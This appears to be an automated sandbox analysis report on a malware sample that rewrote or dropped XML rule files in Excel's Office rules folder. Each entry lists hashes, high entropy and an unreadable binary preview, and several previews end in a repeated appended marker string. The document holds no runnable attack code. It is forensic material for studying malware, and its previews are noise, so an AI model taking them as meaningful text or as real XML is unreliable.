.<....d......C.<\.x'.t...,.2i53....F....2O.h60...[o}..n.c...ix.^.9.x.....=....#....bds)......J..-D.@r.y...D0.R.Us_..Cv.D..=GT.....=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.766830199523625
Encrypted:	false
SSDEEP:	24:pn29DIfu8cXkjbnzU4Fz00gWjcnq48DTW1RqVm70VyJZvk+tVxc2bD:wR21gk/zdFzXYnoGqV6saHtVZD
MD5:	CED19D63424508AD502C86E66D35732E
SHA1:	CB466970F1CC154397B106FDCC0D624170F64169
SHA-256:	DCC801BAA54E2BE5F7F05160D1A95D3E6669A46B88B6D98744769DE5E11F6392
SHA-512:	91F00D6E12797E5F8458D89FB89A5D5BA3910DBC3B40B5B0905D171BDEB2B291DF9C82349D368781A34525AC6A9AF9AA03251D3F177C542A2FF4B7E0403CD3B6
Malicious:	false
Preview:	<?xml..w..K.....#...b<s9....T...`....[...\|.(... q..a...).\....g ..O.g\|@..U>....U7.X..K".."...B1...KKt...tE.v.F..-^L=Vq..\.5.o:.[....P....@...>N.[.F.E....U....G$=d$.%mj.......l....t....Z....a.!4q?BA..Gu......!d.l..$....a8U^e...:q/$1 .~...!{oM.%yG..j7!<I.:.......xz.E.3.~. .[9........LU9f.!c6S=.4..9..Y\.,.....?.]..j............m..U4..lN.]..P...cW.y.Y\..d......(.......v:#T.......~.P.i.ZF3...... ..`..+..?..!..z]....(..R...f!e...S.....{_...0\|-...1.3.e._...`.da.{.....{..B...,.l......{.K[.,./....1.)..U.....&E.C...L.2.VN....@.....4.O.w..)@d.P`...E.&......$M.H!..LO.;x..G.?.vc9I....4.X....t.-..a.(+(Df..P.(..>.;...?)........3..C....h_SA.~.Y....>.....H.B.b..{..>v..\|..#r.^.y.eGG...F5..3.s....5yE.P.T..;p..*.L..W...&y........:..F.jN.....&.+..a?...@....\|8GE...W.qi....._.R.%...x.^.w. h9....-.B.{0@'.y..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.850677144360275
Encrypted:	false
SSDEEP:	24:PEVMLjt6ryhjkoDcdIlaRsrjieT2udbe42S8oemQ+osf5qeCxa7nbD7KTGmFgEam:M2l6+hooAerrjfqj4I5fsfkubABgEqn4
MD5:	FE9B86BED1F2459B9B6F42E5A553A129
SHA1:	EC169DA0E68371EE703DD780E0B4C63C6EC5F5BD
SHA-256:	44B5FA9C7B9C070A93ED8899289EEF730562BB9D20418F3D2D8888D3ECA33A2E
SHA-512:	AE190F196DDAE4FBBB1401559B37BE292D31A5BDE742EDEBB9198C0768B01C29F620548F2DD3DDAE5CDE150C645D8FFDD476BBB197287792BD258848A8E3D23B
Malicious:	false
Preview:	<?xml...q.N...8.....l_.Y.5........B..t.\..cv...R..D...T.>E.3........P.e..nw..yJ.$Z....A.y..o=....;j.C....bWl)&b-.\|..'...2P.........P.(.[..%!.v.?}h..G.Z.6\y.".....;m.s..9..T..M...&.o..o.Hl[.j".K.u..w....(..F.3..[._zu..u ....K......1.......j.`A.F.pkoB......Tw_v.&....kv@$...5..LL9...[.0V..c..M..L..D..'......lA.......`.d.t....Z.7!o~....F.6H......f.........;..o....3...\|..zY}F4..O.'.~..z.Z.VW.{......0-.]t:..e.I..?:...#.$...9.B.....M.}...n.R....1.K>t.I..\E..;...b.j8....:.#'..~. V'.C:v.....W'....p<.....M.."..6..u..>.c...../.9_V...v..dT.v.+.%..f{...!.M.;.bb..O.A,..m.~.F..P...9_.il.f.q.......<.....2....(..........7.H..q.....sR.(...H;R.n.d.)^.gH-.......x.6.WQ5. P^SJ.u.S.u....Ku.D.M... . .Y3...P...w.T.......OJ......~.$.Hl...r.?...CS`..X+..Q.;...u....H.m.t...0.g.=;..T.c8.TD+.0.2U...O..8+.k..3.A\)_C.h.........V..=..y..&...9.[b'.`.[2...;.u.3...$S......J.M[......Q.A..2o...,A....3.e.....>-.&.4.\....ST..CS..J...%...XZ.d.......:....+.3..<..c...?...'GZ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.776995881694634
Encrypted:	false
SSDEEP:	12:UXIppcI8qTHLOTJRLjbyp131cyNAcZm+f0Gl/egW/bmMYxsBplKk3EW04G+kfhq7:z/0Z381lceAc0+8YeTHBpH3fkpV2bD
MD5:	CA929B6720626DBA47298AA7592A057D
SHA1:	BA2E69CAF300CCF49F9253F73C571312EC179CA5
SHA-256:	99A8ADE8761A9762B56262D27B47C844216A10490435FF1EB872128C2691DC05
SHA-512:	55BBF5767799FD2F5D90D5D533AB9452BE64F64B0B27EE737456A7817CC91C83DFC531A95C2827C5B6BC6489E3ECF6DD9F56E5A6CD8CFFC306CCCDEFA05FA950
Malicious:	false
Preview:	<?xmli..........X.QIh.e........n.V6T...Oz..a.:....s........0..\.,J.>mF.[......z{..$'..GH8Tp............n.'...aB..MN.D......[..U}.....h\(....t.G.u.d..b....V.Z.....,@....f#..Rz}8..i.."uAe...u/g.f.......:-.c./...he.M.]2...E+...8...$.T.<.@6..e....i.T)..yrv..-...K.8...H....Y5.M.P....j.dG......k$\|..y.c........v...g.~..~.......a........r.T..B.c._...Z...L.].T\\Z..\.4...n.l..4N.0....DU{....=u....]..@.^.._........q&......7....X..I...^F..,.e......l..N[.....g,\|.B..cRA.sy..a..-.....+.9..,..\8....:y0#.Hz..4Mta...B!Tf$....wf..]..LR.Iv.od...8{V.w.u....o....BHK_....~.Z.....E..F.:]8P.N,.o.U..(..-4.lS.],4.,.>.T5.A.;.4.@................u.f.w.......$..Lb..LA.F)..r@H3.t.5..?}.,0.....@..^...K>4.2t...0..Ioj.....a..\Q.qm.....jH>..`.Btn".....w........U....s...F.....n..8.4..a}p3...0.).B$.=.87.Z........,kcBf..Y.....<.&...`r.E....~.7..R#U.#..Y...Y.:.6?.......F.$_.VL........t...[.............(mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.801118918638282
Encrypted:	false
SSDEEP:	24:gQjeUZnrB9Oi68iXGsycrD2sTchei/eeivqgFofu/ooA42bD:gQjeoryUiLyeFcl/lTGoLfrD
MD5:	624DFF44ED8D50CB43047CCCB701E35A
SHA1:	4E855C5092D35DCB0AC1732B651CFDD421D853D7
SHA-256:	F581613F0AB28EC6B07118D3E22105A304A2017702054E460B2100633BFC4D83
SHA-512:	81B9E31584C28D5AB3DBAB8108778324E1165DFE586EF5650A29706C0AE28086F280E34C10D52D8E17FD587F116B6F95A08A414A1A552BA89C4352AF347A6003
Malicious:	false
Preview:	<?xml].t9J!OJ....'#.)F...q_..B..E...H5T.Y...!W....0...~.....}....D...!....]N....r,.......VS2)8.pZxGIq.....L8P3".....e'...F.,..^O... R].@._.3.J)....=&."......3o...{...1..1..?..v-.9..w..!2.\|..?).H.y.>..?Z.....^..%.Yhd.U..y..0a2{.YH.K.o!.M..#C..s.j...^nhb....D..bE...#..f@l.X..<{.M'u%.%>=.q.\|.....YT.....b..I..\|.\Y.II>&1.....WC...b...#T.`F..`c.)#.x.-....Z.a....v.{.."...u.3.4...By.M..?x.!...T.....^...tW....K..Ib.............N...x;......-....'..S9!..p..>.'....o..c....8B. 2....h..<S.....b.A}=p....W..Y.~....s.p....b..@:....9`W.`F.l...'dX.Z@..hN .T.[..,....@mnql...5.R..;y.`......I.....<P~_0......9H.G.J..Oh..=&.....Y..<.}.E..(B...p......Q....V..B,.c...Z.5.f.O.....N..)....`A.d..[!.<.G.w..../....\Y.......r....&......c..I..v9.:..BH'.D.z....ee...y..=c...O;.q7...G.....,.u.b....F....}.o..qY..v..O..?...C$S...~........0.u.S.v.......cZ.{".j..[S.c....,..........w.,m*{.V4.....J.M.H...C...;/..o.`t.~...`......\..X2.;...4...P.c9[c.q`....z.B.R..wJ.m>K..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.866907814106653
Encrypted:	false
SSDEEP:	48:5FjCFLOtM/6PWdxHoKfIoFBpprSGbk+fknR5Npr6D:59CBscx3LvrnjkDq
MD5:	7F83A0A765F10C01002D1A6A8899BEE4
SHA1:	ADD8902FD05668F096D434A214B29C22BFE7AF9E
SHA-256:	1110A018E7801ED36C37ED42D8F7C87DE106C26AF3322B619AE68041F8636C8D
SHA-512:	46B44EAF45443982CDB7AB634F003924910E064F238E4B3F68DDED2EFFFC307D50A03E2B3C301EB80038CDE729B650EA4A959F47F2556731B0C6CEB6C02EBE6E
Malicious:	false
Preview:	<?xml{>t...@.C..T.....QL\)..E.m.t..7...{..Zb..U........d..K.....IIbp.l@O'..hGe...6>..m.q."B.\\...2..H5.C.>xtb....?..W..5.FH.(,.1....@].jX./..</.=qF...5E./.X....r5....9..l....t.......r...~.&..F.......e...\.n.BQ&jr@/?x.]y#,6YH.C`5..H)lP.Rjd.[[.B.+I.#.Rr0.Ej.&[..h.V....S...(..xf..-....../tF>T...........!......'.9../<..d8.>.."..l.+Y....W.G1_H..A&..1.{;th.(?.O.S] d.+...3.OB's...3m...6..3.K..4.W<9.....;7....T.A...K.1f.C.E\.@&..4:...0..'.-:QF.........K...P.n.....z.%jD.=....\E....F.......{....=.{D}[.=...#.0.$S.a....+.....%O7O....e.......fj...u.)....Z7..6_hQ.X.T..]l...s.g.s$G.l../........k..&.@..4.x..06Wf'....=.....:.....?Mys.r..]=T}.Z...*.....8..LU.7B...M?..}....5....1.4{..F.eVv.......Je~.3......X...c..R@.0.rv..#...._.(..$y...5i..(.{ ...d#'a..g6s....h..%r..`.......8.j}xC.....H.u..Z.C.V.z.E....].....4.....TH........j.......,.....P]T\|q.vw[.......j..R.+..%rM..B.Q.&.....3.Tf..f...=..@.fGE.....-...!=..,.4.....b.........\......<.W'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.740597119897896
Encrypted:	false
SSDEEP:	12:remQwx+TniNY28OO5uYeVTzgGRyIBkHif7HX+YuuxrPD9QLWSUdNcii9a:K7m+TYYP75EVTcGRhHuYuIJQJ2bD
MD5:	B0F10E7704BB4E1D49C1D67EF45B7382
SHA1:	893AA73FCB28799D41AFA30CC263AD5385FC8885
SHA-256:	76E2A0703E155187A85D23F4D099BF698D77D1CE6AAE31C7CB43E969D3FC3790
SHA-512:	A3FDA731B6BC1EA0F34B694253F9448AFA4C127FCCCA5363FCF624DF5EB3097BFA21A9E87E492E839227BE6ECDA242B34B4A30FD68066A1202F0FA3EC3D2647B
Malicious:	false
Preview:	<?xmlb.......[...!.KDZ]..t*j..)....k.@.i....3z.@..m... ...)..+$U^.[2.V3.v.=......}y.Ph.....&..y}.\r.........,'!....y.,.....U..g.t...i=."<..f.?R./........HNl....q'...\|.:M..0./i..t!.#'..j.w,..5.?...E}u.......t..}.j..D"D...c^....X...Z.W63F.7.r.F.68..C.R.}_..H...?.w:.:.......)i.qm5...P...\.W.....A...):..Gd.v..Gb..>P...J.q7.).Gpm^.....Rl..).J. ..x..-...z.6Km..........x..B...E..z...6...y.=........$.\|{-....Sp.h.U..../11..Y....P...`.Mw.Gj.\|5..j)...8.....P.lH.Ua....B...n...W....e.>.w...`p..o.XB~.1%......n...C....@]..v,....v..Cf....k..,..H$."....$..@<(.P.V.T\|.A..\.`?..S..![........6\|.P,..E....Z.Z..x7t..._.&.~..$.M.SE..&..)G....O..1;.....lO..L/.a.a.H..15ln#.2_^..[.."8R..8.5.n..u,'Lo..A<..+...8..._.b.......M..K.....($.s..O.i.N..@mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.823350722264999
Encrypted:	false
SSDEEP:	24:ifFvZ8Tr5WxQzBSEEzYN3iJwBXRSYUEPVdGhHsaO2bD:dp7zB50YN3iJwBX4Eqps0D
MD5:	FC83E5C659A1C7E5FBA178C6596DF9DE
SHA1:	64F26A1BDD8939633ABD357AF61CA43FE5FD486D
SHA-256:	73BD624885AA192796CA59E205627B91EFF58B7C85D48B825F5745874C26C2ED
SHA-512:	4CDA07A1B48EFDBB9EC4C11218B4F28B38CC53164537483F6652526263D614DA357471FCA5A8D30D4D2C7F2FED43E696053D602A990C839645E9580720B55B0A
Malicious:	false
Preview:	<?xml..'....5.%$..xQF....pP."@..89J'...>s..}.F..4E.I[........ZlL.uT.....65....{......?a.u[u.........d.7._%'.!...B..i.6.......%.8!Z..\|...w..}.1k...b.Ww.Nq4.Y....];........$..}9Q...c........c.&.1.g..5...J...O.5...K&...2:M...y...^I .._.e...}2@#.?...8Z)..lJ..p.-0P.....C.R>/q18.u..x.1R.."..t...tg9}-....S...{....$(....g....>.../.............:s@..[.Q......y...c..._...h.a.`.....3".np.7..P.H...I....Dw/..g.)\|%...D.j...eF....T..G.H....1.QQ7....t..s.>i_...x..=;_8.._>e..j.'.c...#V...L..........[.Fl,..tId..D.U..... .....v/E........6.....x....2..YD.Y...n.c".U5p.qg...P5j..7..E.K.%U.m,`[........5.K.02n.....0.+O&..O.'p.....~...TTv2#.....b.....A..%..S.....,.)..Vu.TM...a....3..N.E,.....'v./....!b5.c}._ .....P.b.I...2.7...6.y..[.c`...s3...d....&....y..N5.K.I.....d..........V.j..4....G............a.Jiq{..$.N..."N.*...gr.(9`..P...]C..b.P.4.......,.5..,..ml.dCs..........P$.....i.......^.?..h.........P.h.(gp../-`.g..5p.....b.......^..dZT}} JQ1?b.r0_...6eTf9.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.839559623904692
Encrypted:	false
SSDEEP:	24:uLaYlP3LmhTb/wr4v8iyY61NaMcz9CNxPXpSYeH72bD:uLD1bmNO4v8iyYENCz9CNTSYfD
MD5:	70EA68B9B5325EE4DBC91F7CE7076702
SHA1:	707B83A49B2B08D77256C6FF2CC90019C2BFB139
SHA-256:	9DE85AD5A97C75B6474FE701AC33C8DBBDD16B64C39D69D8975A855E9C3B928A
SHA-512:	0780CD57C35A820D0671AFD3318F360915BE3F147FB22D3D6DF744387D29DDAE6CBE901CF5F58087D2B88195285C9FCBC979676C14411AE915FB97A2F26CB1C2
Malicious:	false
Preview:	<?xml...[.....V....'..i~...,.I...k...B'.5.....hn..[..3.vqZ.A..`K..w..9.....5.k......1...J...=.Ov.N.7...{-./..d.7....._0=....#.8...^.o...\'J.p./.%. .z./.S...<....^o.~w.....`..ZY.-k.eZ.f.....t.?.)..?..,ou.i.;..c.%551.( 5..L8q..O ..!hke....J.u....Ibw~.....#d..1......U.e}........K.L..T.,<......\...b...{./..j...@...S}K.5.,.N..drX;.v.X.k..f..=@.U.)j.o.)0...{wO.....n..+....1.......D.S.zE,3@......}...G...f7.A..q.2..L.~.R.S.6...'.z......A.^..C..M.+..<..............E....)Z..V...{.....+...hf7EJ.A.k....O<..R x.k.5i.Z...H....Oj!.L.....cw.....B[mx}Wh. ...k.<..:?.j.....I.l...E.i.@.t..u.[zuN.V..C..R.&.w......,..\|.......]vI}.4.<..9,.m....%~\..F....)..~......J.p..G....F.....l...v."2.(.X[S.{Y3.>.z.....O\|..V.j............BX7I.L.G..i.,M.5a...@.x9.\R....'.={.v..Q.J.l3.Q`..T..z.\|..p.w..T.K...;.q....nG^{.EC..8.\|...,.Ve?K..q.`.V..9..."f;...]?....U.}.....6...........:...^$#.w`(.p....k..Q...?....x.F....P...A...T..?.N.a[.%.E...0.0WW@7..........Tj&l.O.o.T.#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8406539700615685
Encrypted:	false
SSDEEP:	24:TNkCxvYqqiW6k1BDPodqNfRNMslUY+rPDa19bExHbaI+f2bD:Vedl6KDA8NfRNMwUJ/aHbEBar8D
MD5:	B4243C098E6DDC775C06F3D757E6E2D2
SHA1:	40274D44E3302A6B665A2E8FA9D5895145D94D94
SHA-256:	442C66491A8FB3E219AA0FE648A113E2929247A84BA9F447102DA5C12573278D
SHA-512:	93F10F3E4E82891E0B3464698EE1047F56EEF67843558536246E5560B3927C836B4B68B205546B52B247A8A363B12F5A62FBF5704955814FCF3818A8F3D8D3F6
Malicious:	false
Preview:	<?xml.....".N.....J...`c:.(......p./~~.Bx.<x>.~...Z.>.V.q...].!}...)<bS.g..K.!d^.5uh9U.0wh....".:.U.8.W.........<...z...I ..M..S.......c8{.p.]...P...\0"wJ..S.... S.tl..L5...>.L.w.59.7...4"9..E.O...+...\|..A.K.9..>"..El...u.d1..b.q%..@q..S3.....\|85..\|..P1OpXp...Z..Z._.s.vP.-D.K..g.d.,.p..b..'.....jcC...V.....}..Ngo.B...\|..........,......r....\|R>.<q\|..1?..#N.....b..R1,.....:j..7.=....M&....[.~..V8... ......z#2.{..z..$0.F?R...n..@.+.S.........N..;......=.W.R.[...H.T0....7u..E=#.+...V....6~.;qh7]x"...7.J.~..+.<.d.V...#.4.p.......1.`?..........V.u.>L....^..7I......~..q.....c.e.. m..,.-...2......k.."f...#Q.F\|.I..eV...)...`.%i...]R\|..B...X...........j..$.............qx.]...s./Ijo.b.e.].oF.<.RP..1M..5.aQ..=..BK../.A..E.T........~..}.+!..JU....#....'wgwo.,.....$ ..;...r..s......ee..F..)...W/<d...j.&oX^.qF`.C..v..........P.\.^R.5.;I.[9.m..{OL...tP.#Qy&..L..Ln.J..M>8cA.R..EX..%.....J..O.i..9.s.h.n...*.F.>q..>y...x ..H....~<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.841153460610348
Encrypted:	false
SSDEEP:	24:iSY3pgKqOToav9fXpPltVPm958wiStDka5TaTlX2M2bD:jYDuGfXpPltVa5TiStDkuuBmfD
MD5:	215118EE64850C833571A72456696A7C
SHA1:	85206055D5A02B227519E3E1BE96F5AD33730A20
SHA-256:	C6CD3821FB28339FF101B7F30E432E90181EC9533E84EB7C9F1628CDC98E8674
SHA-512:	E9035D0DE3C93FC7B0CF839C5822219C4F9EC24417C0AF02283175503ACA4787DDEDA3556A2EDF7E8F9C5A69DDB7417C029B31F24C9537E7DB27AAE087DB9C48
Malicious:	false
Preview:	<?xml...x;.f.S.?....xN.]..a^ht,_..C.i...C....@....e7.{.].../G[h...2a\|.O..;/..)Q..7.@...~..#s..h.j......A.!.I.4._.(a......B.e...RW...P.H..!....d....r@.._..M.o.s>.9.>IF...5..y.v..u.q..tS....'..+..Y..K.l....n....n.m.......W..K.....}?.J.Y.y..DI!......8....(:....F...\..Px...[.t..Q.2\w..-..?W..y.........Xv M..@p....tX.....z8".?.k..q.....1I..3f...Q.2!.*H<{.Y$.f^.L.#!.e....0..5-..G0..I.rc...n.n.)....m=u%.2l..I.BK:...b}..-d.w..........3e....l...h.2..a.......t.l@.....:4...4.`......u...d....[....j.0.R/6`.. =NTt...c(....`.U...g.G..+.....<.P.~......c[.]Qz!...o-..QoLe.p..e.......5 .\|..9.Z........W..37.OI.....y#.~Y....&97./...b.......k10..m...'.L....=.e`.<...4T.&.F.MGg.!..l0.RN...g..N.(.>...:....1lXr.r...^F,.a6K..H...s..vP......d.dW>%.....n.x1.=).)G..R..0lPR>H.k.1....h.@Eo.c.f.x...].m.L...qL.\|'..k{..~ze..z.b.ci.!..x..O..4....q.1...}i.k..~..l.2......=.-..W......,....a+.;.k.xR7mO...b.6...w.....s.^1..U.9...#f.q.bp...%TB.P..._.z...F.=?.V~[..-l.}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.797938522860345
Encrypted:	false
SSDEEP:	24:wAL1vucM1vlIOfSDYRRKFQN+PThHj3fP+rbnIqEh1P7VPrQFp2bD:wA8ca9z6Y/KFQgtF/P7VPrpD
MD5:	D9C5FA95D12EBE957CD9FF09C84CC442
SHA1:	64C50BCC08C1B7D414F47B5E01F78371B2791304
SHA-256:	CE466F470BF0DD04462987EF6D90EF370D602D09558D6D6452DA30D12C749C54
SHA-512:	C734FDF0BADDEEEE32772B1D9B2C0663BBDB7A563AA722600E334A9A2B9A7742A9A547C48F8A9B99DFBCB4066ED077D23B93F081EF212947EABB6344BC6EBDA6
Malicious:	false
Preview:	<?xmlM...Vx..\|$VZ..G+.B..x.\|t..\|.h.1h.R1..............O....M..C..c,?u..i.1..s.~.y...F..=.d\X..ypK.B.s..B.t\.'...5(...N.?..Jh%..Ug......o.&u.........j...)/.LK...Q:=...r ..NL..L.O.......K..Y%H.f.y.9.......lm..DS.T]..#.e..4...jxw..Q.`v...Y.L-...>.....-.O....g\|.........yB.d..+.p.Lu....i......b..D...o.?"5..I..3.....;....$f.?......]N.f...k.._.r....oU..Q.(..).......fHu...E\~....HRS....s._.....:..$..L.b...Y.j.B.Z.M.......<.j..o'...hh....60.`..$(U?...n.m...b..+.$b....%(..)R.,ZjvC.=.G.{Y...x'.b.\...zK,..4....X}\|~..]...t.'P.O.r..#vMr....J-..n=.B.... .=..R.pK....<......m....Ap.....6,R%...t.Z.{.{........8.7up._z..%..gH.um!....qt..3c.c4....i.N..CYC4...7...V.I...)..ts.=..U.Qf.pb..uAmH..i.&.3?.2J..7.....4o...q.GN".>a....K..vl.R..B..OQ.......... yV9.E.~'...p.^Z.....x.......l.-J.z!Y.\........e..(yj..n(.;.....9.....R..N....lZK..4.XS...N. ./b=.(..ri..F.+.......j.:,k;.v".~..\|E.....K^.@....X=>e..P..f....L)3.....+..(>.j..{kKQC..P.sbL..6W..{..S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.820269627240913
Encrypted:	false
SSDEEP:	24:QuHjPCEUvX1xTy3A4ChIgGemA8ghr0KH1SG2XVWph2bD:370f3Ty3A4CmReFzrJt2XVWID
MD5:	221404593D5B3D9D75D349D3807F3211
SHA1:	564F5D901C98550B59E78B418973DE4E9CC45D58
SHA-256:	75D9A8475BA849648A2C960691E2FE2D88368363DA36542212EA82096CC96316
SHA-512:	AB3B7ED2EE1771B6BB947DEC2F450A7DBCEB00446F81FF4D35A1795C59CEE44A39D9F1E05C9F7E7185972EADB4DE0E78B2F3277985A492FFE8AFC867AA2E650E
Malicious:	false
Preview:	<?xmlaM=.5TaP.#U.;+...$`=n..X......s.V..i.....Y..g_.m....[.Z...&...L.... b5A..(u.....g[.........G..(.3...G.0}....d^L..pF..........;)...\|.r../..}.H.Sc....o./x.f.y.fq{.j\|.........$W...?)..._..9j$d$:6...6.dO.."..s.I.[e._.U...x[XM.L......=..m...~..^.......Uwy.._.(..H...J.2Q.0H`.OK.6...N...PMY.K./.w....,{..l.C..u..vF.}....U.%..P.[..b...i%..Kd.I.......7.<.....!......M..B..a..1W..VT..qk...t.O..@i.1..k...`u..m..N8,.s.....#.2.$.2T.O..B.f.]:.O...T.....b.......L..(....8.xK...........z(.G..t.....$.....&\..m...:........).K.%..O...K.u[."$..+7....K}2TT....DD.t.GFg. .2-.t'yA..zq._0..9D...R..E.'...f.b...U..p...r].Wnsk.J... Et..Q.~Z@....?m...1..h.Y..........m:.!.No^......)wh..L...&e.NX0.W):\|.H..7.L.7....x&..2.(L.D1.C....5A..V.R...."X`7!..h9L..L..........p..M.n.D.2.....m..t.L..f.#..k...oX...+\|#....'nRjIZwh..K?t...(.:..S...b.:.}..v.Q.g("..9go.n..6/..c..%.9....4.~........l.T.'..l8.{..sb./`.:u....;r.E..+&/......M6.^K..e......=0....b..:.....D.U..>.{...$\..`.M..\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.799666918896392
Encrypted:	false
SSDEEP:	24:MYXHGNhjC1DHozP4JKzBQ1S9QQYW35wOKK3nLOiFpy1aFIxpG4V0V2bD:hSF0L8fBDdn684BvG4PD
MD5:	B69232DA93812A0E28947BF4A920DD07
SHA1:	A9A0E966625208B45695E02F001871B785F7CF76
SHA-256:	5C5B866B9997C1F447A5FD87954775CF67048E15B43F61A4DCB7904EDA18E0E2
SHA-512:	897C128CF5E19D591DF364845BF6647235863D3261D3145A54298AE5DA78A1B665B826A382013D165A8B52D335DD3F451118C84627A1C2D48B04C3A7D18D4E4A
Malicious:	false
Preview:	<?xmlGy.P...Jh5.....f..vE.z.y.0l..@r.......7r...E..Y.......^...s..h.....Z.+.)/)U.a-=K....p%.x...Gyq...j.![..f.".uF%....M.R..M.=)$`a.pR.............}.'..d.8.......D...o...........?..n.L._...x..o+.....,.4...l.z..b.P5Q?6..RIo......q.Z......M...........s...L...?.h...7...7...q..0.i.9.b...D...[@+x.DA.q..]0.....?....M..@...2&...]..EC.0\|.b.D.O-...E.u..^.dz.3.#..B..l.w.v7w..R..6...q....._.n.=.2~'@.y%.........!Aa.&qCu.lb.\.......-'v....S6.....+c..I...{..g.-:..;...A.../.>.e#.%.'.>.6E....=}N&..%......F..$&<.]..2.=CL....../43]).VQ..Z.O.A.....h.4.V....D.y.....J.q7u!G.o...Zv..,.rQ.%.H3w..../>......\|..g....)s......o..._.R\|..*....6io.."U$m......G.....I......).Z....V........c.J..I#H`.J..L..bv>.."...v...O...t..W...f.]...:H...wwq......V#:.....u...w@.o=.G...B2g9...+....8.V?%..X.......(..p.T..xf.Y..L........e.0N....t]..C...D.....RG.....Ht+pj%....W.X7....>.dJ.-BG..(<.:.j../..ho..>O..;..j...`..3vBK^..\|Lv...\|v.T..\|..5...1X..d.T..OU.....%..hC..2mMsRx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.786353981744867
Encrypted:	false
SSDEEP:	24:uuOuvLmlvjzuG7mty9PfMMwCMujijARURS2bD:FOuvLOjzuymOH3IujiBLD
MD5:	3522485B0435BF03DC15A465B2594D61
SHA1:	44E15B44DF0CA8D2480784ADF71E6AF6E9D94CF1
SHA-256:	70C37EB90527D71B8DD03E82AAE5542F8E544BB0967E9006858C77959E9BDC85
SHA-512:	83C20A9DE596B759FD8F55BE862CA8A3CACD8B49FCAB10F09C13C2F5C3E4CD5933FFFEF070855C5EAC02B133A35098D1FCA3145922AE089D3F1D83E8F177EFA6
Malicious:	false
Preview:	<?xml.A..$K.A}./.q...Z.._..5..e.p/..7.}bX.W.2-..E..N....f.y...s....1qJ.eq1;.OgC.uU....s..#B....Oe.....@...!@.L.........A..$....c.t...._.yo.K......Zr.5.F7t.c(.....^./r.+.BJ%K.`...;.......x[.9.....#.4..r...........W.0.2.J..K.0t_.......P.)55.._.Vw..T..P.}..`#yq...N...?@..c.x..!....nJ`..<..E.72.+..d....T.}.J...i.zc..;9.2...I.d3E...1lS([.N..z.,.....M...........j...~4,e7,.....(7Z../_..N.....m.y..X.J8."n......>O..n.\L[\|L.Z..{.c....,.^K2.h....[F).?.......#....Z.D...Z..L.\|/.T.^....<.......DMYVl..O..quU o.....>.[......h.....*9v.r.X...T.i...).Y.0./R....\|A....1B]..j....._..sR....c..6...?.j\...t..3.(....a..;.Pw.s...?a.y.C....!..{.g.cHkuwt.M.>......m`$^g...\|.l.!..P..r.W... G..+.8.,......A...\j.....-y..?!.&......A7.C.=.....$C/...l...&.L.......X..2g.1E..#y8(.&f~.h.G..6].4... Ojz.......0..(..q....i#@...0....=..5N.i..#...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

